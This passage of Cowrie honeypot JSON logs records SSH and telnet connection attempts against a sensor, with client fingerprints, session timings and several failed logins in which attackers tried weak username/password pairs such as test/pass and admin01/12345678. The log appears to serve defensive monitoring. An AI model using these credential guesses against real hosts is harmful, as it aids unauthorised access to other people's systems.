ha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:32.448465Z","src_ip":"202.125.94.71","session":"bdd5c9c8506c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36974,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea62bccabf61","protocol":"telnet","message":"New connection: 161.97.105.174:36974 (159.203.135.109:23) [session: ea62bccabf61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:32.470897Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"pass","message":"login attempt [test/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:33.531025Z","src_ip":"202.125.94.71","session":"bdd5c9c8506c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:34.798674Z","src_ip":"202.125.94.71","session":"bdd5c9c8506c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36984,"dst_ip":"159.203.135.109","dst_port":23,"session":"c70ce780f00c","protocol":"telnet","message":"New connection: 161.97.105.174:36984 (159.203.135.109:23) [session: c70ce780f00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:37.018633Z"}
{"eventid":"cowrie.session.closed","duration":32.89895272254944,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:38.440706Z","src_ip":"161.97.105.174","session":"950777f9bfca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.97179174423218,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:41.750463Z","src_ip":"161.97.105.174","session":"baf5cb81341a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.37391686439514,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:41.802332Z","src_ip":"161.97.105.174","session":"9931c96d5b81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.104928970336914,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:42.096000Z","src_ip":"161.97.105.174","session":"6b3f4c59a77c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35296,"dst_ip":"159.203.135.109","dst_port":23,"session":"618095afafb1","protocol":"telnet","message":"New connection: 161.97.105.174:35296 (159.203.135.109:23) [session: 618095afafb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:42.873403Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35298,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb6c9f7abed8","protocol":"telnet","message":"New connection: 161.97.105.174:35298 (159.203.135.109:23) [session: cb6c9f7abed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:44.294139Z"}
{"eventid":"cowrie.session.closed","duration":33.759010791778564,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:44.317683Z","src_ip":"161.97.105.174","session":"aafbc610cb3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37874,"dst_ip":"159.203.135.109","dst_port":23,"session":"da6930431a92","protocol":"telnet","message":"New connection: 161.97.105.174:37874 (159.203.135.109:23) [session: da6930431a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:48.775780Z"}
{"eventid":"cowrie.session.closed","duration":34.55095171928406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:49.635026Z","src_ip":"161.97.105.174","session":"19398cb2f589","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.763203859329224,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:51.381826Z","src_ip":"161.97.105.174","session":"53091e7cf995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37876,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6847f0fd9c8","protocol":"telnet","message":"New connection: 161.97.105.174:37876 (159.203.135.109:23) [session: e6847f0fd9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:53.363387Z"}
{"eventid":"cowrie.session.closed","duration":32.917884826660156,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:53.702203Z","src_ip":"161.97.105.174","session":"c089e07db692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":36590,"dst_ip":"10.17.0.5","dst_port":22,"session":"50a9b98c6c96","protocol":"ssh","message":"New connection: 154.219.100.220:36590 (10.17.0.5:22) [session: 50a9b98c6c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:53.854846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:53.860082Z","src_ip":"154.219.100.220","session":"50a9b98c6c96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:54.065230Z","src_ip":"154.219.100.220","session":"50a9b98c6c96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test12!@","message":"login attempt [test/test12!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:54.925048Z","src_ip":"154.219.100.220","session":"50a9b98c6c96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37892,"dst_ip":"159.203.135.109","dst_port":23,"session":"d33fa61c4447","protocol":"telnet","message":"New connection: 161.97.105.174:37892 (159.203.135.109:23) [session: d33fa61c4447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:55.709980Z"}
{"eventid":"cowrie.session.closed","duration":32.09708595275879,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:55.835094Z","src_ip":"161.97.105.174","session":"5386dc40d306","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:56.132433Z","src_ip":"154.219.100.220","session":"50a9b98c6c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.49491858482361,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:58.053181Z","src_ip":"161.97.105.174","session":"545163696bdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.66899609565735,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:03.516810Z","src_ip":"161.97.105.174","session":"afce2d41164e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.81922721862793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:04.290040Z","src_ip":"161.97.105.174","session":"ea62bccabf61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":40154,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f2c6925b04a","protocol":"ssh","message":"New connection: 152.32.130.174:40154 (10.17.0.5:22) [session: 4f2c6925b04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:05.396748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:05.401827Z","src_ip":"152.32.130.174","session":"4f2c6925b04a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:05.613289Z","src_ip":"152.32.130.174","session":"4f2c6925b04a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33092,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d282a36878b","protocol":"telnet","message":"New connection: 161.97.105.174:33092 (159.203.135.109:23) [session: 8d282a36878b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:05.773539Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password123456789","message":"login attempt [deploy/password123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:06.491673Z","src_ip":"152.32.130.174","session":"4f2c6925b04a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33098,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8d301d254c0","protocol":"telnet","message":"New connection: 161.97.105.174:33098 (159.203.135.109:23) [session: f8d301d254c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:07.067620Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:07.706240Z","src_ip":"152.32.130.174","session":"4f2c6925b04a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33108,"dst_ip":"159.203.135.109","dst_port":23,"session":"031da8346e6b","protocol":"telnet","message":"New connection: 161.97.105.174:33108 (159.203.135.109:23) [session: 031da8346e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:08.201669Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":59938,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d9fcbe7d78d","protocol":"ssh","message":"New connection: 200.187.71.114:59938 (10.17.0.5:22) [session: 0d9fcbe7d78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:09.413489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:09.418789Z","src_ip":"200.187.71.114","session":"0d9fcbe7d78d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:09.533098Z","src_ip":"200.187.71.114","session":"0d9fcbe7d78d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.8246009349823,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:09.843115Z","src_ip":"161.97.105.174","session":"c70ce780f00c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin01","password":"12345678","message":"login attempt [admin01/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:10.024342Z","src_ip":"200.187.71.114","session":"0d9fcbe7d78d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56762,"dst_ip":"159.203.135.109","dst_port":23,"session":"817e17c476f3","protocol":"telnet","message":"New connection: 161.97.105.174:56762 (159.203.135.109:23) [session: 817e17c476f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:11.001807Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:11.141758Z","src_ip":"200.187.71.114","session":"0d9fcbe7d78d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56768,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f84d2b1bb53","protocol":"telnet","message":"New connection: 161.97.105.174:56768 (159.203.135.109:23) [session: 3f84d2b1bb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:11.337546Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56772,"dst_ip":"159.203.135.109","dst_port":23,"session":"709509323764","protocol":"telnet","message":"New connection: 161.97.105.174:56772 (159.203.135.109:23) [session: 709509323764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:12.305732Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56788,"dst_ip":"159.203.135.109","dst_port":23,"session":"feebe88ee6a5","protocol":"telnet","message":"New connection: 161.97.105.174:56788 (159.203.135.109:23) [session: feebe88ee6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:13.315712Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56796,"dst_ip":"159.203.135.109","dst_port":23,"session":"c750c7337d9c","protocol":"telnet","message":"New connection: 161.97.105.174:56796 (159.203.135.109:23) [session: c750c7337d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:13.898347Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56798,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad3c7aa50a98","protocol":"telnet","message":"New connection: 161.97.105.174:56798 (159.203.135.109:23) [session: ad3c7aa50a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:14.136867Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56800,"dst_ip":"159.203.135.109","dst_port":23,"session":"49ee612f0ae6","protocol":"telnet","message":"New connection: 161.97.105.174:56800 (159.203.135.109:23) [session: 49ee612f0ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:14.875406Z"}
{"eventid":"cowrie.session.closed","duration":31.079628705978394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:15.373660Z","src_ip":"161.97.105.174","session":"cb6c9f7abed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56814,"dst_ip":"159.203.135.109","dst_port":23,"session":"97b8cd142a46","protocol":"telnet","message":"New connection: 161.97.105.174:56814 (159.203.135.109:23) [session: 97b8cd142a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:16.627810Z"}
{"eventid":"cowrie.session.closed","duration":34.41468667984009,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:17.287997Z","src_ip":"161.97.105.174","session":"618095afafb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.55005693435669,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:21.325671Z","src_ip":"161.97.105.174","session":"da6930431a92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.301809787750244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:24.665070Z","src_ip":"161.97.105.174","session":"e6847f0fd9c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46630,"dst_ip":"159.203.135.109","dst_port":23,"session":"0deb76a95dd0","protocol":"telnet","message":"New connection: 161.97.105.174:46630 (159.203.135.109:23) [session: 0deb76a95dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:26.188085Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56648,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3a5753d2576","protocol":"telnet","message":"New connection: 161.97.105.174:56648 (159.203.135.109:23) [session: a3a5753d2576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:28.725795Z"}
{"eventid":"cowrie.session.closed","duration":34.313859701156616,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:30.023721Z","src_ip":"161.97.105.174","session":"d33fa61c4447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56656,"dst_ip":"159.203.135.109","dst_port":23,"session":"be8f3d4e0535","protocol":"telnet","message":"New connection: 161.97.105.174:56656 (159.203.135.109:23) [session: be8f3d4e0535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:30.725575Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56658,"dst_ip":"159.203.135.109","dst_port":23,"session":"335acc17dc3f","protocol":"telnet","message":"New connection: 161.97.105.174:56658 (159.203.135.109:23) [session: 335acc17dc3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:33.069568Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":39458,"dst_ip":"10.17.0.5","dst_port":22,"session":"d27e4a3fc27b","protocol":"ssh","message":"New connection: 202.125.94.71:39458 (10.17.0.5:22) [session: d27e4a3fc27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:34.414939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:34.419686Z","src_ip":"202.125.94.71","session":"d27e4a3fc27b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:34.684327Z","src_ip":"202.125.94.71","session":"d27e4a3fc27b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56660,"dst_ip":"159.203.135.109","dst_port":23,"session":"d014d7bcf4f1","protocol":"telnet","message":"New connection: 161.97.105.174:56660 (159.203.135.109:23) [session: d014d7bcf4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:35.718426Z"}
